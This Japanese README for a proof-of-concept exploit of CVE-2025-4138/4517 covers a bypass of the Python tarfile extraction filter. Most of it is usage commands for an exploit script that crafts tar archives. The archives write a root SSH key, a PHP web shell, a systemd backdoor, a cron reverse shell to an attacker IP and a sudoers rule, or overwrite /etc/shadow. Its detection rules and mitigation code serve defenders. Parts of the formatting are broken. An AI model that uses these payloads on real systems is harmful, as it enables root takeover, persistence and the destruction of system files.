
CVE-2025-4138 / CVE-2025-4517 — Python tarfile PATH_MAX シンボリックリンクフィルタの回避
filter="data" / filter="tar" 抽出による任意ファイル書き込み
Python の tarfile モジュールに存在する重大な脆弱性により、攻撃者は抽出フィルタ("data" と "tar")をバイパスし、意図した抽出ディレクトリの外に任意のファイルを書き込むことができます。特権プロセス(例: root権限で実行されるバックアップスクリプト、CI/CD パイプライン、パッケージインストーラ)が、安全とされる filter="data" パラメータを使用して攻撃者が制御するtarアーカイブを抽出すると、このエクスプロイトはその特権ユーザーとしての完全な任意ファイル書き込みを達成します — 通常は root への権限昇格につながります。
根本原因は os.path.realpath() の動作上の癖です。完全に展開されたパスが PATH_MAX(Linux では 4096 バイト、macOS では 1024 バイト)を超えると、シンボリックリンクの解決を黙って停止します。tarfile フィルタは安全性のチェックを realpath() に依存していますが、カーネルは抽出時にシンボリックリンクを独自に解決するため、ディレクトリエスケープを可能にするTOCTOU(Time-of-Check-to-Time-of-Use)ギャップが生じます。
┌───────────────────────────────────────────┐
│ Malicious Tar Structure │
└───────────────────────────────────────────┘
Stage 1 ── Build symlink chain that inflates the resolved path past PATH_MAX
ddd...ddd/ (directory, 247 chars)
a → ddd...ddd (symlink, 1 char name → 247 char dir)
ddd...ddd/ddd...ddd/ (nested directory)
b → ddd...ddd (symlink)
... ×16 levels
Short path (symlinks): a/b/c/d/e/f/g/h/i/j/k/l/m/n/o/p ~31 chars
Resolved path (dirs): ddd…/ddd…/ddd…/ddd…/ddd…/ddd…/… ~3968 chars
↑ nearing PATH_MAX
Stage 2 ── Final symlink exceeds PATH_MAX → realpath() stops resolving
a/b/c/…/p/lll…lll → ../../../../../../../../../../../../../../../../..
(16 levels of ".." — traverses back to extraction root)
┌─────────────────────────────────────────────────────────────────┐
│ os.path.realpath() CANNOT expand this → filter says "OK" ✓ │
│ Linux kernel DOES follow chain → actually escapes ✗ │
└─────────────────────────────────────────────────────────────────┘
Stage 3 ── Escape symlink resolves to arbitrary filesystem path
escape → <overflow_link>/../../../../../../../root
Stage 4 ── Create intermediate directories through the escape
escape/.ssh/ (directory, mode 0700 — created by tar extraction)
Stage 5 ── Write payload through the escaped symlink
escape/.ssh/authorized_keys → writes to /root/.ssh/authorized_keys 🔓
---
## 影響を受けるバージョン
| Python ブランチ | 影響を受けるバージョン範囲 | 修正済みバージョン | 状態 |
|:--|:--|:--|:--|
| 3.13 | 3.13.0 – 3.13.3 | **3.13.4** | ✅ パッチ済み |
| 3.12 | 3.12.0 – 3.12.10 | **3.12.11** | ✅ パッチ済み |
| 3.11 | 3.11.4 – 3.11.12 | **3.11.13** | ✅ パッチ済み |
| 3.10 | 3.10.12 – 3.10.17 | **3.10.18** | ✅ パッチ済み |
| 3.9 | 3.9.17 – 3.9.22 | **3.9.23** | ✅ パッチ済み |
| 3.8 | 3.8.17 – 3.8.20 | — | ❌ サポート終了 |
| 3.14+ | デフォルトのフィルターが `"data"` に変更された | 最新版を確認 | ⚠️ より高い曝露 |
> **注記:** Python 3.14+ では、デフォルトの `filter` パラメータが「フィルタリングなし」から `"data"` に変更されました。つまり、以前はフィルタがなく(そのためすでに安全ではなかった)アプリケーションが、デフォルトで脆弱なフィルタを使用するようになります。
---
## 影響を受けるコードパターン
脆弱な Python バージョンでこれを行っているアプリケーションは、悪用可能です:```python
import tarfile
# VULNERABLE — filter="data" can be bypassed
with tarfile.open("untrusted_archive.tar", "r") as tar:
tar.extractall(path="/some/directory", filter="data")
# ALSO VULNERABLE — filter="tar" has the same flaw
with tarfile.open("untrusted_archive.tar", "r") as tar:
tar.extractall(path="/some/directory", filter="tar")
一般的な実際の発生例:
.tar 配布物を処理git clone https://github.com/DesertDemons/CVE-2025-4138-4517-POC.git cd CVE-2025-4138-4517-POC
python3 exploit.py --help
**要件:** Python 3.6+ (アーカイブ作成用 — **ターゲット**は脆弱性のあるバージョンを実行している必要があります)
---
## 使用方法
### クイックスタート — SSHキーインジェクション```bash
# 1. Generate an SSH key pair (REQUIRED — must exist before creating tar)
ssh-keygen -t ed25519 -f ~/.ssh/id_ed25519 -N ""
cat ~/.ssh/id_ed25519.pub # verify key was created
# 2. Create the malicious tar archive
python3 exploit.py \
--preset ssh-key \
--payload ~/.ssh/id_ed25519.pub \
--tar-out ./evil.tar
# 3. Deliver the tar and trigger privileged extraction
# (method varies — backup script, upload endpoint, CI pipeline, etc.)
# Example: sudo python3 vulnerable_app.py --extract evil.tar
# 4. SSH in as root (use the SAME key you generated in step 1)
ssh -i ~/.ssh/id_ed25519 root@target
重要: このエクスプロイトは、tar アーカイブ内に中間ディレクトリ(例:
/root/.ssh/)を自動的に作成します。ターゲットディレクトリがファイルシステム上に存在しない場合、extractall()は展開中にそれを作成します。
python3 exploit.py --preset cron --extra 10.0.0.5 --tar-out evil.tar
python3 exploit.py --preset sudoers --extra john --tar-out evil.tar
python3 exploit.py --preset ssh-key --payload ~/.ssh/id_rsa.pub
--mode 0600 --tar-out evil.tar
### カスタムターゲット
ターゲットファイルシステム上の任意の絶対パスに任意のコンテンツを書き込みます:```bash
# Overwrite MOTD
python3 exploit.py \
--target /etc/motd \
--payload "Authorized access only." \
--mode 0644 \
--tar-out evil.tar
# Plant a web shell
python3 exploit.py \
--target /var/www/html/shell.php \
--payload '<?php system($_GET["cmd"]); ?>' \
--mode 0644 \
--tar-out evil.tar
# Overwrite a systemd service for persistence
python3 exploit.py \
--target /etc/systemd/system/backdoor.service \
--payload backdoor.service \
--mode 0644 \
--tar-out evil.tar
システムが脆弱かどうかを機密ファイルに触れることなくテストします:```bash
mkdir -p /tmp/cve_test/flag /tmp/cve_test/extract echo "original_content" > /tmp/cve_test/flag/testfile
python3 exploit.py
--target /tmp/cve_test/flag/testfile
--payload "OVERWRITTEN_BY_CVE-2025-4138"
--tar-out /tmp/cve_test/poc.tar
python3 -c " import tarfile tarfile.open('/tmp/cve_test/poc.tar', 'r').extractall( '/tmp/cve_test/extract', filter='data' ) "
cat /tmp/cve_test/flag/testfile
rm -rf /tmp/cve_test
### クイックバージョンチェック```bash
python3 -c "
import sys
v = sys.version_info
vuln = (
(v.minor == 12 and v.micro <= 10) or
(v.minor == 13 and v.micro <= 3) or
(v.minor == 11 and 4 <= v.micro <= 12) or
(v.minor == 10 and 12 <= v.micro <= 17) or
(v.minor == 9 and 17 <= v.micro <= 22)
)
status = '❌ VULNERABLE' if vuln else '✅ Patched/Not affected'
print(f'Python {sys.version} — {status}')
"
PATH_MAX と os.path.realpath()Linux では、PATH_MAX は 4096バイト と定義されています。macOS では、1024バイト です。os.path.realpath() がパスをコンポーネント単位で解決する際、蓄積された解決済みパスがこの制限を超えると、残りのコンポーネントの解決を静かに停止 し、それらをリテラル文字列として追加します。```
os.path.realpath() behavior:
Input: /extract/a/b/c/.../p/llll.../../../../../root/.ssh │ ├── resolved portion: /extract/ddd.../ddd.../... (3968+ bytes) └── unresolved tail: /../../../../root/.ssh ↑ appended literally!
Output: /extract/ddd.../ddd.../ddd.../../../../../root/.ssh │ │ └── Starts with /extract/ → filter says "OK" ✓ │ └── But the ../ is real!
### シンボリックリンクチェーンの構造
チェーンの各レベルは次の要素で構成されます:
| エントリ | タイプ | 名前長 | 目的 |
|:--|:--|:--|:--|
| ディレクトリ | `DIRTYPE` | 247文字 (Linux) / 55文字 (macOS) | 長い名前で解決パスを膨張させる |
| シンボリックリンク | `SYMTYPE` | 1文字 (`a`, `b`, …, `p`) | 長いディレクトリ名の短い別名 |
16レベル後:
| 指標 | 値 |
|:--|:--|
| **短いパス** (シンボリックリンク経由) | `a/b/c/d/e/f/g/h/i/j/k/l/m/n/o/p` ≈ 31文字 |
| **解決パス** (ディレクトリ経由) | `ddd…/ddd…/ddd…/…` ≈ **3968文字** |
| **PATH_MAX** | 4096バイト |
| **残り予算** | ~128バイト — トラバーサルペイロードには不十分 |
### フィルタ回避メカニズム
Pythonのtarfileモジュールの`data_filter`は次のチェックを実行します:```python
# Simplified from Lib/tarfile.py
def _check_linkname(member, dest_path):
target = os.path.realpath(os.path.join(dest_path, member.linkname))
if not target.startswith(dest_path):
raise FilterError("link would escape destination")
脆弱性:
realpath() が受け取る: /extract/a/b/c/.../p/lll.../../../../../root/.sshrealpath() が解決する a/b/c/.../p の部分(シンボリックリンクチェーン経由) → 3968+ バイト../../../../root/.ssh はそのまま追加される/extract/ddd…(3968 chars)…/../../../../root/.ssh/extract/ で始まる → 通過 ✓../ を通常どおり解決 → 脱出して /root へescape/.ssh がディレクトリとして抽出される → /root/.ssh/ を作成 (モード 0700)escape/.ssh/authorized_keys → に書き込む┌────────────────────────────────────────────────────────────────────────┐ │ EXPLOIT PIPELINE │ ├────────────────────────────────────────────────────────────────────────┤ │ │ │ Stage 1: PATH_MAX Inflation │ │ ┌─────────┐ ┌─────────┐ ┌─────────┐ │ │ │ dir(247) │──▶│ sym a→d │──▶ ... │ sym p→d │ ×16 levels │ │ └─────────┘ └─────────┘ └─────────┘ │ │ Resolved path accumulates to ~3968 bytes │ │ │ │ Stage 2: Pivot Symlink (exceeds PATH_MAX) │ │ ┌──────────────────────────────────────────┐ │ │ │ a/b/c/.../p/lll...lll → ../../... (×16) │ │ │ └──────────────────────────────────────────┘ │ │ realpath() cannot resolve → filter is blind │ │ │ │ Stage 3: Escape Symlink │ │ ┌──────────────────────────────────────────┐ │ │ │ escape → /../../../../<target_root>│ │ │ └──────────────────────────────────────────┘ │ │ Points to the target's top-level parent (e.g. /root) │ │ │ │ Stage 4: Create Intermediate Directories │ │ ┌──────────────────────────────────────────┐ │ │ │ escape/.ssh (DIRTYPE, mode 0700) │ │ │ └──────────────────────────────────────────┘ │ │ Ensures parent dirs exist (e.g. /root/.ssh) — critical │ │ for targets where the parent directory may not exist │ │ │ │ Stage 5: Payload Write │ │ ┌──────────────────────────────────────────┐ │ │ │ escape/.ssh/authorized_keys = payload │ │ │ └──────────────────────────────────────────┘ │ │ File is written through the escaped symlink as the │ │ process owner (typically root) │ │ │ └────────────────────────────────────────────────────────────────────────┘
---
## 実世界の攻撃シナリオ
### 1. 特権バックアップ復元
rootとして実行されるバックアップスクリプトが、ユーザーが提供したtarアーカイブを展開します:```python
# /usr/local/bin/restore_backup.py (runs via sudo)
tar.extractall(path="/var/backups/restored", filter="data")
影響: 攻撃者が悪意のあるバックアップを提供する → SSHキーを /root/.ssh/authorized_keys に書き込む → ルートシェルを取得する。
ビルドシステムが信頼できないソースからアーティファクトを抽出します:```python
tar.extractall(path=workspace_dir, filter="data")
**影響:** 悪意のあるアーティファクトがワークスペースから脱出 → CI 設定を上書き → ビルド基盤上でコード実行を達成。
### 3. Web アプリケーションのアップロード処理
Web アプリは tar アップロードを受け付けて展開します:```python
# Flask/Django file processing endpoint
tar.extractall(path=upload_dir, filter="data")
影響: リモート攻撃者が細工したtarをアップロード → ドキュメントルートにウェブシェルを書き込み → RCEを達成。
ソース配布物を展開するPythonパッケージマネージャー:```python
tar.extractall(path=build_dir, filter="data")
**影響:** 悪意のあるPyPIパッケージがビルドディレクトリから脱出 → システムファイルを改変。
---
## 検出
### 侵害の指標
悪用を示す可能性のある以下のパターンを監視してください:```bash
# Check for deeply nested symlink chains in extracted directories
find /path/to/extractions -maxdepth 20 -type l | \
xargs -I{} readlink {} | grep -c "^d\{200,\}"
# Audit tar extraction operations in application logs
grep -r "extractall\|filter=\"data\"\|filter=\"tar\"" /var/log/
# Monitor for unexpected file writes in sensitive directories
auditctl -w /root/.ssh/ -p wa -k tarfile_escape
auditctl -w /etc/cron.d/ -p wa -k tarfile_escape
auditctl -w /etc/sudoers.d/ -p wa -k tarfile_escape
rule CVE_2025_4138_Malicious_Tar { meta: description = "Detects tar archives crafted for CVE-2025-4138 PATH_MAX bypass" cve = "CVE-2025-4138" severity = "critical" strings: $long_dir = /d{240,250}// ascii $chain = /[a-p]/[a-p]/[a-p]/[a-p]/ ascii $pad = /l{250,}/ ascii $traversal = "../../../" ascii condition: uint16(0) == 0x0000 and $long_dir and $chain and ($pad or #traversal > 8) }
---
## 緩和策
### 1. Python のアップグレード(推奨)```bash
# Check current version
python3 -c "import sys; print(sys.version)"
# Upgrade to patched version:
# 3.9.23+ | 3.10.18+ | 3.11.13+ | 3.12.11+ | 3.13.4+
直ちにアップグレードできない場合:```python import pathlib import tarfile
def safe_extract(tar_path: str, dest: str) -> None: """Extract tar archive with CVE-2025-4138 mitigation.""" with tarfile.open(tar_path, "r") as tar: for member in tar.getmembers(): # Block symlinks with traversal in link targets if member.linkname: parts = pathlib.PurePosixPath(member.linkname).parts if ".." in parts: raise ValueError( f"Blocked: '{member.name}' has traversal " f"in linkname: '{member.linkname}'" ) # Block absolute symlink targets if member.issym() and member.linkname.startswith("/"): raise ValueError( f"Blocked: '{member.name}' has absolute " f"symlink target: '{member.linkname}'" ) # Re-open to reset iterator tar.extractall(path=dest, filter="data")
### 3. サンドボックス化された抽出```bash
# Extract in a minimal container or namespace
unshare --mount --map-root-user -- sh -c '
mount -t tmpfs tmpfs /mnt
python3 -c "
import tarfile
tarfile.open(\"archive.tar\", \"r\").extractall(\"/mnt/extract\", filter=\"data\")
"
'
tar --no-same-permissions --no-same-owner -xf archive.tar -C /dest/
---
## 関連CVE
| CVE | 説明 | 深刻度 |
|:--|:--|:--|
| **CVE-2025-4138** | PATH_MAXオーバーフローによるシンボリックリンクターゲットフィルターのバイパス | 緊急 |
| **CVE-2025-4517** | realpathオーバーフローによる任意ファイル書き込み(同一の根本原因) | 緊急 |
| **CVE-2025-4330** | 抽出フィルターをバイパスするシンボリックリンクパストラバーサル | 高 |
| **CVE-2024-12718** | 抽出ディレクトリ外でのファイルメタデータの変更 | 高 |
| **CVE-2025-4435** | `errorlevel=0` の場合にフィルター対象ファイルが依然として抽出される | 中 |
| **CVE-2007-4559** | オリジナルのtarfileパストラバーサル(フィルター導入以前) | 高 |
これらはすべて [CPython Issue #135034](https://github.com/python/cpython/issues/135034) と [PR #135037](https://github.com/python/cpython/pull/135037) で対処されました。
---
## タイムライン
| 日付 | イベント |
|:--|:--|
| 2025-04-30 | Python Security Response Teamに脆弱性を報告 |
| 2025-06-02 | 公開issueをオープン — [CPython #135034](https://github.com/python/cpython/issues/135034) |
| 2025-06-03 | 修正をマージ — [CPython PR #135037](https://github.com/python/cpython/pull/135037) |
| 2025-06-03 | [PSFセキュリティアナウンス](https://mail.python.org/archives/list/[email protected]/thread/MAXIJJCUUMCL7ATZNDVEGGHUMQMUUKLG/) を公開 |
| 2025-06-03 | パッチ適用済みリリース: Python 3.9.23, 3.10.18, 3.11.13, 3.12.11, 3.13.4 |
| 2025-06-04 | CERT-FR勧告 [CERTFR-2025-AVI-0475](https://www.cert.ssi.gouv.fr/) |
| 2025-06-20 | Google Security Research勧告 [GHSA-hgqp-3mmf-7h8f](https://github.com/google/security-research/security/advisories/GHSA-hgqp-3mmf-7h8f) |
| 2025-07-20 | 完全公開 |
---
## 参考情報
- [GHSA-hgqp-3mmf-7h8f](https://github.com/google/security-research/security/advisories/GHSA-hgqp-3mmf-7h8f) — Google Security Research勧告 & オリジナルPoC
- [CPython Issue #135034](https://github.com/python/cpython/issues/135034) — アップストリームのバグレポート
- [CPython PR #135037](https://github.com/python/cpython/pull/135037) — 修正コミット
- [PSFセキュリティアナウンス](https://mail.python.org/archives/list/[email protected]/thread/MAXIJJCUUMCL7ATZNDVEGGHUMQMUUKLG/) — 公式勧告
- [Seth Larsonの緩和Gist](https://gist.github.com/sethmlarson/52398e33eff261329a0180ac1d54f42f) — クイック緩和スクリプト
- [NVD — CVE-2025-4138](https://nvd.nist.gov/vuln/detail/CVE-2025-4138)
- [NVD — CVE-2025-4517](https://nvd.nist.gov/vuln/detail/CVE-2025-4517)
- [Python `tarfile` 抽出フィルターのドキュメント](https://docs.python.org/3/library/tarfile.html#tarfile-extraction-filter)
- [Linux `realpath(3)` マニュアルページ](https://man7.org/linux/man-pages/man3/realpath.3.html) — PATH_MAXの動作
---
## クレジット
- **脆弱性の発見:** [Caleb Brown](https://github.com/calebbrown) — Google Security Research
- **パッチ作成者:** Łukasz Langa, Petr Viktorin, Seth Michael Larson, Serhiy Storchaka
- **本PoC:** [DesertDemon](https://github.com/DesertDemons)
---
## 免責事項
> **⚠️ 本ツールは、許可されたセキュリティテスト、研究、および教育目的にのみ提供されます。**
>
> コンピュータシステムへの不正アクセスは、Computer Fraud and Abuse Act (CFAA)、Computer Misuse Act、および世界各国の同等の法律に基づき違法です。所有していないシステムをテストする前に、必ず明示的な書面による許可を取得してください。
>
> 著者は本ソフトウェアの誤用について一切の責任を負いません。本ツールを使用することにより、利用者は自身の行動に対して単独で責任を負い、適用されるすべての法律を遵守することに同意したものとみなされます。
---
**タグ:** `cve-2025-4138` `cve-2025-4517` `python` `tarfile` `path-traversal` `symlink` `privilege-escalation` `arbitrary-file-write` `toctou` `cwe-22` `linux` `macos`
## ライセンス
このプロジェクトは [MIT License](https://github.com/desertdemons/cve-2025-4138-4517-poc/blob/HEAD/LICENSE) の下でライセンスされています。
---
<p align="center">
<sub>
🔐 このツールが役に立つと思われたら、リポジトリにスターを付けていただけると幸いです<br>
📫 責任ある開示に関するお問い合わせは、issueを開くかGitHubからご連絡ください
</sub>
</p>
| フィールド | 値 |
|---|
| CVE ID | CVE-2025-4138, CVE-2025-4517 |
| CVSS v3.1 | 9.4(緊急) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L |
| CWE | CWE-22 — 制限付きディレクトリへのパス名の制限が不適切 |
| 脆弱性の種類 | シンボリックリンクによるパストラバーサル / フィルタバイパス |
| 影響 | 任意ファイル書き込み → 権限昇格、サンドボックスエスケープ、データ改ざん |
| 攻撃ベクトル | フィルタ付きで tarfile.extractall() を使用する任意のアプリケーションに、悪意のあるtarアーカイブを配布する |
| 影響を受けるバージョン | Python 3.12.0 – 3.12.10, 3.13.0 – 3.13.3 |
| 修正バージョン | Python 3.9.23, 3.10.18, 3.11.13, 3.12.11, 3.13.4 |
| パッチ | CPython PR #135037 |
| 勧告 | GHSA-hgqp-3mmf-7h8f |
| 報告者 | Caleb Brown — Google Security Research |
| プリセット | ターゲットファイル | 説明 | --extra パラメータ |
|---|
ssh-key | /root/.ssh/authorized_keys | root ログイン用の SSH 公開鍵を注入します | — |
cron | /etc/cron.d/pwned | root リバースシェルの cron ジョブを仕込みます | LHOST IPアドレス |
sudoers | /etc/sudoers.d/pwned | ユーザーに NOPASSWD sudo ルールを追加します | ユーザー名 |
shadow | /etc/shadow | shadow ファイルを上書きします (⚠️破壊的) | — |
passwd | /etc/passwd | passwd ファイルを上書きします (⚠️破壊的) | — |
/root/.ssh/authorized_keys